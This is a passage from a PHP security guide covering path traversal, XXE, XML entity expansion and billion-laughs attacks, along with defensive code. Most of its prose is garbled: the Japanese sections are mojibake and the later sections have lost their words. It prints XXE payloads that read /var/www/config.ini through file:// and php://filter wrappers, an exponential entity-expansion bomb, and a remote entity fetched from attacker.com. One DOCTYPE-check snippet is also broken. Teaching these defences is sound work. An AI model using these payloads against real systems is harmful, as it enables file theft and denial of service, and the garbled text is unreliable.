¥ãããå Žåãæ»æè
ãHTTPãŸãã¯FTP URIãæ¿å
¥ã§ããå ŽåãPHP颿°ã¯ããã¡ã€ã«URIã¹ããŒã ã®çœ®æãå«ãå€ãã®åœ¢åŒã®ãã©ã¡ãŒã¿ãŒæäœã«å¯ŸããŠç¹ã«è匱ã§ãã ããã«ã€ããŠã¯ããªã¢ãŒããã¡ã€ã«ã€ã³ã¯ã«ãŒãžã§ã³æ»æã®ã»ã¯ã·ã§ã³ã§è©³ãã説æããŸãããããã§ã¯ãã¡ã€ã«ã·ã¹ãã ãã¹ã®ãã€ãã¹ã«çŠç¹ãåœãŠãŸãã
ãã®è匱æ§ã«ã¯ãå¥ã®ãã¡ã€ã«ã«ã¢ã¯ã»ã¹ããããã®ãã¹ã®å€æŽãå«ãŸããŸãã ããã¯éåžžãäžé£ã®../ã·ãŒã±ã³ã¹ãåŒæ°ã«åã蟌ãããšã§å®çŸããã颿°ã«ã¢ã¿ããããããinclude()
ã require()
ã file_get_contents()
ãããªé¢æ°ã«å®å
šã«æ¿å
¥ãããŸãDOMDocument::load()
ã
../ã·ãŒã±ã³ã¹ã䜿çšããŠãæ»æè
ã¯ã·ã¹ãã ã芪ãã£ã¬ã¯ããªã«åŒ·å¶çã«æ»ããŸãã ãããã£ãŠããã¹/var/www/public/../vendor
å®éã«ã¯/var/www/vendor
ã«ã€ãªãããŸãã / public
åŸã®ã·ãŒã±ã³ã¹../ã¯ã芪ãã£ã¬ã¯ããªãã€ãŸã/ var/www
æ»ããŸãã ãããã£ãŠãæ»æè
ã¯ãWebãµãŒããŒããã¢ã¯ã»ã¹å¯èœãª/ public
ãã£ã¬ã¯ããªã®å€éšã«ãããã¡ã€ã«ã«ã¢ã¯ã»ã¹ããŸãã
ãã¡ãããåãã®ã¯ãã æ»ãããšã ãã§ã¯ãããŸããã æ°ãããã¹èŠçŽ ãå®è£
ããŠã.htaccessã®å¶éèšå®ã®ããã«ãã©ãŠã¶ãŒããã¢ã¯ã»ã¹ã§ããªãåãã£ã¬ã¯ããªã«ã¢ã¯ã»ã¹ã§ããŸãã ãã¡ã€ã«ã·ã¹ãã ã䜿çšããPHPæäœã§ã¯ãWebãµãŒããŒäžã®éå
¬éãã¡ã€ã«ããã³ãã£ã¬ã¯ããªãžã®ã¢ã¯ã»ã¹å¶åŸ¡ã®æ§æã¯èæ
®ãããŸããã
ãã¹ãã©ããŒãµã«ã®äŸ
ãã¹ãã©ããŒãµã«ã«å¯Ÿããé²åŸ¡
XMLã€ã³ãžã§ã¯ã·ã§ã³
ãµãŒããŒãšã¯ã©ã€ã¢ã³ãéã§ããŒã¿ã転éãã軜éã®ææ®µãšããŠJSONãå°å
¥ããŸããããXMLã¯äŸç¶ãšããŠäžè¬çãªä»£æ¿ææ®µã§ãããWebãµãŒãã¹APIã¯JSONãšäžŠè¡ããŠããããµããŒãããããšããããããŸãã XMLã¯ãXMLã¹ããŒã ïŒRSSãAtomãSOAPãRDFãªã©ïŒã䜿çšããŠããŒã¿ã亀æããããã«ã䜿çšãããŸãã
XMLã¯ããããšããã«ãããŸããWebã¢ããªã±ãŒã·ã§ã³ãµãŒããŒããã©ãŠã¶ïŒXMLHttpRequestãªã¯ãšã¹ããšã¬ã¹ãã³ã¹ã®æšå¥šåœ¢åŒãšããŠïŒãããã³ãã©ãŠã¶æ¡åŒµæ©èœã«ãããŸãã DOMããã³SimpleXMLããã³XMLReaderæ¡åŒµæ©èœã§PHPã«ãã£ãŠäœ¿çšãããlibxml2ãªã©ã®äžè¬çãªããŒãµãŒã«ããæ®åãšããã©ã«ãåŠçãèãããšãXMLã¯å®è£
æ»æã®æšçã«ãªã£ãŠããŸãã ãã©ãŠã¶ãXML亀æã«ç©æ¥µçã«é¢äžããŠããå Žåãèš±å¯ããããŠãŒã¶ãŒã¯XSSãä»ããŠãæªæã®ãããŠãŒã¶ãŒã«ãã£ãŠå®éã«äœæãããXMLèŠæ±ãéä¿¡ã§ããããšã«çæããå¿
èŠããããŸãã
å€éšXMLãšã³ãã£ãã£ã®åã蟌ã¿ïŒXXEïŒ
XMLè§£æã©ã€ãã©ãªãã«ã¹ã¿ã ãšã³ãã£ãã£ãžã®åç
§ã®äœ¿çšããµããŒãããããšãå€ãããããã®ãããªæ»æãååšããŸãã >
ãªã©ã®ç¹æ®ãªããŒã¯ã¢ããæåã衚ãããã«äœ¿çšãããæšæºã®XMLãšã³ãã£ãã£æ¡åŒµæ©èœã玹ä»ãããŸã>
ã <
; ããã³&apos
XMLã§ã¯ãXMLããã¥ã¡ã³ãèªäœã䜿çšããŠã«ã¹ã¿ã ãšã³ãã£ãã£ãå®çŸ©ããããšã«ãããæšæºãšã³ãã£ãã£ã®ã»ãããæ¡åŒµã§ããŸãã ãªãã·ã§ã³ã®DOCTYPEã«å«ããããšã«ãããçŽæ¥å®çŸ©ã§ããŸãã ããããè¡šãæ¡åŒµå€ã¯ãå«ãŸããã¹ãå€éšãªãœãŒã¹ãæãå ŽåããããŸãã XXE- XML , . . XXE XXE-, .
, , harmless:
<!DOCTYPE results [ <!ENTITY harmless "completely harmless"> ]>
XML- &harmless; , :
<?xml version="1.0"?> <!DOCTYPE results [<!ENTITY harmless "completely harmless">]> <results> <result>This result is &harmless;</result> </results>
XML- PHP DOM XML, , . :
This result is completely harmless
, XML . , XML , . , , XML, . , :
<?xml version="1.0"?> <!DOCTYPE results [<!ENTITY harmless SYSTEM "file:///var/www/config.ini">]> <results> <result>&harmless;</result> </results>
&harmless;
ã XML- - . , . XML, , , . . XML, XML, , . PHP , , HTTP- -, .
PHP XML: PHP DOM, SimpleXML XMLReader. libxml2, . , PHP XXE-, - , XML.
, XHTML HTML 5 XML. , XHTML- XML- HTML 5 XML, DOMDocument::loadXML()
DOMDocument::loadHTML()
. XML- XML-. , libxml2 HTML 5 DOCTYPE, XHTML DOCTYPES.
XML-
, , XML- .
<?xml version="1.0"?> <!DOCTYPE results [<!ENTITY harmless SYSTEM "file:///var/www/config.ini">]> <results> <result>&harmless;</result> </results>
&harmless;
. , , . , , . , : XML-, , XML-. , PHP:
<?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY harmless SYSTEM "php://filter/read=convert.base64-encode/resource=/var/www/config.ini" > ]> <results> <result>&harmless;</result> </results>
PHP URI, , : file_get_contents()
, require()
, require_once()
, file()
, copy()
. PHP , , . , , convert.base-64-encode
.
, PHP , . , . , . , , .
. XXE- -, . . :
if (isset($_SERVER['HTTP_CLIENT_IP']) || isset($_SERVER['HTTP_X_FORWARDED_FOR']) || !in_array(@$_SERVER['REMOTE_ADDR'], array( '127.0.0.1', '::1', )) ) { header('HTTP/1.0 403 Forbidden'); exit( 'You are not allowed to access this file.' ); }
PHP, , PHP- , . . localhost. XXE- , , HTTP- XML- localhost.
<?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY harmless SYSTEM "php://filter/read=convert.base64-encode/resource=http://example.com/viewlog.php" > ]> <results> <result>&harmless;</result> </results>
, . , .
DOS-
DOS- , . XML- HTTP-, .
DOS- XXE- XML-.
XML-
, , . DOM, SimpleXML XMLReader libxml2, libxml_disable_entity_loader()
, . , , DOCTYPE, , HTTP- .
$oldValue = libxml_disable_entity_loader(true); $dom = new DOMDocument(); $dom->loadXML($xml); libxml_disable_entity_loader($oldValue);
, XML , URI.
, , . «» XML, , XXE-:
libxml_disable_entity_loader(true);
TRUE . , Docbook XML HTML, XSL- .
libxml2 â . PHP-, - XML, «» .
, , XML- DOCTYPE. , XML-, XML- . , â , . . , .
$collapsedXML = preg_replace("/[:space:]/", '', $xml); if(preg_match("/<!DOCTYPE/i", $collapsedXml)) { throw new \InvalidArgumentException( 'Invalid XML: Detected use of illegal DOCTYPE' ); }
, . -, ? , , (, ). , libxml_disable_entity_loader()
, , . XML- (XML Entity Expansion).
XML-
XML-. DOS- . DOCTYPE XML , , , XML- . . XML- HTML 5 , libxml2 HTML.
XML-
XML- .
â « ». . , , XML- XML.
<?xml version="1.0"?> <!DOCTYPE results [<!ENTITY long "SOME_SUPER_LONG_STRING">]> <results> <result>Now include &long; lots of times to expand the in-memory size of this XML structure</result> <result>&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; &long;&long;&long;&long;&long;&long;&long;&long; Keep it going... &long;&long;&long;&long;&long;&long;&long;...</result> </results>
, XML- , . , DOS-. : XML , .
XML, . (resolve) , . , XML- (Billion Laughs Attack).
<?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY x0 "BOOM!"> <!ENTITY x1 "&x0;&x0;"> <!ENTITY x2 "&x1;&x1;"> <!ENTITY x3 "&x2;&x2;"> <!-- Add the remaining sequence from x4...x100 (or boom) --> <!ENTITY x99 "&x98;&x98;"> <!ENTITY boom "&x99;&x99;"> ]> <results> <result>Explode in 3...2...1...&boom;</result> </results>
XML- XML, . , , 2^100 â &x0;
ã !
XML DTD. , XML- HTTP-. XXE ( XML-), . , XXE, .
: XML- HTTP- . , , HTTP-. , - , , .
<?xml version="1.0"?> <!DOCTYPE results [ <!ENTITY cascade SYSTEM "http://attacker.com/entity1.xml"> ]> <results> <result>3..2..1...&cascade<result> </results>
DOS- : , . : (resolve) XML- . XXE-, DOS-.
XML-
, XXE-. (resolution) XML- , ; HTTP- , XML- PHP, libxml2.
libxml_disable_entity_loader(true);
PHP XML DTD DOCTYPE. PHP LIBXML_NOENT
, DOMDocument::$substituteEntities
, . , .
libxml2 , , . ; - , libxml2 .
, â XML- . , . , â XML, DOCTYPE. , DOCTYPE , . . HTTPS-. , PHP DTD. , libxml_disable_entity_loader(TRUE)
, , , (node value). .
$dom = new DOMDocument; $dom->loadXML($xml); foreach ($dom->childNodes as $child) { if ($child->nodeType === XML_DOCUMENT_TYPE_NODE) { throw new \InvalidArgumentException( 'Invalid XML: Detected use of illegal DOCTYPE' ); } }
, libxml_disable_entity_loader
TRUE, (resolve) XML. , XML- libxml2, .
SimpleXML, , simplexml_import_dom()
DOMDocument.
SOAP Injection
TBD